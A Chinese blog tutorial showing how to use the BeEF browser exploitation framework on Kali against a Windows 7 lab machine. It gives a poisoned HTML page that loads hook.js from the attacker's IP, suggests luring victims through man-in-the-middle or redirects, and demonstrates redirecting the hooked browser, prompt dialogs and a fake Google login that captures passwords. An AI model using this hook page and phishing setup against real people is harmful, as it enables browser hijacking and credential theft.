环境说明：

  • kali linux(192.168.0.114) 黑阔滴设备
  • win7 (192.168.0.113) 妹纸的pc

认识beef

BEEF (The Browser Exploitation Framework)：一款浏览器攻击框架，用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。

BeEF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用，被分为前端和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeEF持有者可以通过浏览器来登录 BeEF 的后端，来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。
请输入图片描述

启动BEEF

方法一：点击栏目中的图标即可启动。
方法二：执行命令beef-xss
kali已经把beef-xss做成服务了，我们也可以使用systemctl 命令来启动或关闭beef服务

systemctl start beef-xss.service         #开启beef服务
systemctl stop beef-xss.service         #关闭beef服务
systemctl restart beef-xss.service      #重启beef服务

请输入图片描述
注意：初次配置要求我们输入我们的账号和密码（自行设定）
启动完成后，会自动跳转到浏览器的管理页面。输入我们刚才设置的账号和密码，登入系统。初始账号和密码均为beef
请输入图片描述

配置我们的钩子

方法有两种这里简单说下：
方法一：找含有xss漏洞的网站，插入js达到攻击目标。
方法二：自己写一个含有毒化的网页，让他人访问。（内网+外网）
这里以方法二为列：写个简单的页面。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>啦啦啦</title>
</head>

<body>
<h1>bbskali.cn</h1>
<script src="http://192.168.0.114:3000/hook.js"></script>
</body>
</html>

也就是说，想办法让别人访问我刚才写的这个页面。即可达到攻击的目标。方法比较多，如中间人攻击，重定向，挂黑页等等。

攻击演示

演示一 （设备上线）

当攻击端访问我们的网页，在beef控制台中我们就可以看到上线的设备。
请输入图片描述

设备攻击

点击我们的设备，选择commands选项卡，我们可以看到有很多攻击模块。
请输入图片描述

读者可能发现在每个模块的前面都有一个有色（绿色，灰色，橙色，红色）的小圆标志。

在内部，BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作， 并用颜色表示：

绿色：命令模块可以在目标浏览器上运行，且用户不会感到任何异常

橙色：命令模块可以在目标浏览器上运行，但是用户可能会感到异常（比如可能会有弹窗，提示，跳转等）

灰色：命令模块尚未针对此目标进行验证，即不知道能否可运行

红色：命令模块不适用于此目标
这里给大家演示几个模块。其他的大家自己自娱自乐！

让浏览器自动访问指定的网站

点击Browser--hooked Doman --Redirect Browser输入我们的目标网址后点击Execute即可完成攻击。返回到刚才打开的页面，发现自动跳转到了kali论坛。

请输入图片描述

弹出对话框

点击Browser--hooked Doman --Create Alert Dialog输入我们要弹出的信息后点击Execute即可完成攻击。
请输入图片描述
效果如下：
请输入图片描述

弹出输入信息框

点击Browser--hooked Doman --Create Prompt Dialog输入我们要弹出的信息后点击Execute即可完成攻击。
请输入图片描述
同样的方式，当我们输入信息后，即可在管理面板看到刚才输入的信息！
请输入图片描述
结果：
请输入图片描述

制作钓鱼网站

选择Scoial Engineering--Google phishing改为我们kali的ip地址。点击Execute
请输入图片描述
我们的页面变成了google的登录页面
请输入图片描述

输入我们的账号和密码
请输入图片描述
获取到的密码
请输入图片描述

版权属于：逍遥子大表哥

本文链接：https://blog.bbskali.cn/1366.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。

Kali笔记一键关注
Last modification：August 10, 2019
© Allow specification reprint
正在沿街乞讨中……